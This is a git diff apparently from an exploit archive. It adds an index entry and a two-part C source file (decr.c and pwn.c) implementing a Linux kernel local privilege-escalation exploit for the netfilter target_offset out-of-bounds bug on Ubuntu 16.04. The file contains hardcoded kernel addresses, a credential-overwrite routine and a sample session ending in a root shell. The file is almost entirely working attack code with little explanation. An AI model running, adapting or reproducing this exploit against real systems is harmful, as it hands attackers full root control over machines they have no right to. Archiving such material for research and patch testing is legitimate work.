diff --git a/files.csv b/files.csv index 991d51ed8..38b69cee7 100755 --- a/files.csv +++ b/files.csv @@ -36220,3 +36220,4 @@ id,file,description,date,author,platform,type,port 40043,platforms/windows/local/40043.py,"Cuckoo Sandbox Guest 2.0.1 - XMLRPC Privileged Remote Code Execution",2016-06-29,"Rémi ROCHER",windows,local,0 40044,platforms/cgi/webapps/40044.html,"Ubiquiti Administration Portal - CSRF to Remote Command Execution",2016-06-29,KoreLogic,cgi,webapps,443 40045,platforms/php/webapps/40045.txt,"Concrete5 5.7.3.1 - (Application::dispatch) Local File Inclusion",2016-06-29,"Egidio Romano",php,webapps,80 +40049,platforms/linux/local/40049.c,"Ubuntu 16.04 local root exploit - netfilter target_offset OOB",2016-07-03,vnik,linux,local,0 diff --git a/platforms/linux/local/40049.c b/platforms/linux/local/40049.c new file mode 100755 index 000000000..937d3e2a1 --- /dev/null +++ b/platforms/linux/local/40049.c @@ -0,0 +1,260 @@ +--------------------------------------------------- decr.c --------------------------------------------------- +/** + * Ubuntu 16.04 local root exploit - netfilter target_offset OOB + * check_compat_entry_size_and_hooks/check_entry + * + * Tested on 4.4.0-21-generic. SMEP/SMAP bypass available in descr_v2.c + * + * Vitaly Nikolenko + * vnik@cyseclabs.com + * 23/04/2016 + * + * + * ip_tables.ko needs to be loaded (e.g., iptables -L as root triggers + * automatic loading). + * + * vnik@ubuntu:~$ uname -a + * Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux + * vnik@ubuntu:~$ gcc decr.c -m32 -O2 -o decr + * vnik@ubuntu:~$ gcc pwn.c -O2 -o pwn + * vnik@ubuntu:~$ ./decr + * netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik + * [!] Decrementing the refcount. This may take a while... + * [!] Wait for the "Done" message (even if you'll get the prompt back). + * vnik@ubuntu:~$ [+] Done! Now run ./pwn + * + * vnik@ubuntu:~$ ./pwn + * [+] Escalating privs... + * root@ubuntu:~# id + * uid=0(root) gid=0(root) groups=0(root) + * root@ubuntu:~# + * + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define MALLOC_SIZE 66*1024 + +int check_smaep() { + FILE *proc_cpuinfo; + char fbuf[512]; + + proc_cpuinfo = fopen("/proc/cpuinfo", "r"); + + if (proc_cpuinfo < 0) { + perror("fopen"); + return -1; + } + + memset(fbuf, 0, sizeof(fbuf)); + + while(fgets(fbuf, 512, proc_cpuinfo) != NULL) { + if (strlen(fbuf) == 0) + continue; + + if (strstr(fbuf, "smap") || strstr(fbuf, "smep")) { + fclose(proc_cpuinfo); + return -1; + } + } + + fclose(proc_cpuinfo); + return 0; +} + +int check_mod() { + FILE *proc_modules; + char fbuf[256]; + + proc_modules = fopen("/proc/modules", "r"); + + if (proc_modules < 0) { + perror("fopen"); + return -1; + } + + memset(fbuf, 0, sizeof(fbuf)); + + while(fgets(fbuf, 256, proc_modules) != NULL) { + if (strlen(fbuf) == 0) + continue; + + if (!strncmp("ip_tables", fbuf, 9)) { + fclose(proc_modules); + return 0; + } + } + + fclose(proc_modules); + return -1; +} + +int decr(void *p) { + int sock, optlen; + int ret; + void *data; + struct ipt_replace *repl; + struct ipt_entry *entry; + struct xt_entry_match *ematch; + struct xt_standard_target *target; + unsigned i; + + sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW); + + if (sock == -1) { + perror("socket"); + return -1; + } + + data = malloc(MALLOC_SIZE); + + if (data == NULL) { + perror("malloc"); + return -1; + } + + memset(data, 0, MALLOC_SIZE); + + repl = (struct ipt_replace *) data; + repl->num_entries = 1; + repl->num_counters = 1; + repl->size = sizeof(*repl) + sizeof(*target) + 0xffff; + repl->valid_hooks = 0; + + entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace)); + entry->target_offset = 74; // overwrite target_offset + entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target); + + ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry)); + + strcpy(ematch->u.user.name, "icmp"); + void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0); + uint64_t *me = (uint64_t *)(kmatch + 0x58); + *me = 0xffffffff821de10d; // magic number! + + uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4); + *match = (uint32_t)kmatch; + + ematch->u.match_size = (short)0xffff; + + target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8); + uint32_t *t = (uint32_t *)target; + *t = (uint32_t)kmatch; + + printf("[!] Decrementing the refcount. This may take a while...\n"); + printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n"); + + for (i = 0; i < 0xffffff/2+1; i++) { + ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024); + } + + close(sock); + free(data); + printf("[+] Done! Now run ./pwn\n"); + + return 0; +} + +int main(void) { + void *stack; + int ret; + + printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n"); + if (check_mod()) { + printf("[-] No ip_tables module found! Quitting...\n"); + return -1; + } + + if (check_smaep()) { + printf("[-] SMEP/SMAP support dectected! Quitting...\n"); + return -1; + } + + ret = unshare(CLONE_NEWUSER); + + if (ret == -1) { + perror("unshare"); + return -1; + } + + stack = (void *) malloc(65536); + + if (stack == NULL) { + perror("malloc"); + return -1; + } + + clone(decr, stack + 65536, CLONE_NEWNET, NULL); + + sleep(1); + + return 0; +} + +--------------------------------------------------- pwn.c --------------------------------------------------- + +/** + * Run ./decr first! + * + * 23/04/2016 + * - vnik + */ +#include +#include +#include +#include +#include +#include +#include +#include + +#define MMAP_ADDR 0xff814e3000 +#define MMAP_OFFSET 0xb0 + +typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred); +typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred); + +void __attribute__((regparm(3))) privesc() { + commit_creds_fn commit_creds = (void *)0xffffffff810a21c0; + prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0; + commit_creds(prepare_kernel_cred((uint64_t)NULL)); +} + +int main() { + void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0); + assert(payload == (void *)MMAP_ADDR); + + void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET); + + memset(shellcode, 0, 0x300000); + + void *ret = memcpy(shellcode, &privesc, 0x300); + assert(ret == shellcode); + + printf("[+] Escalating privs...\n"); + + int fd = open("/dev/ptmx", O_RDWR); + close(fd); + + assert(!getuid()); + + printf("[+] We've got root!"); + + return execl("/bin/bash", "-sh", NULL); +} \ No newline at end of file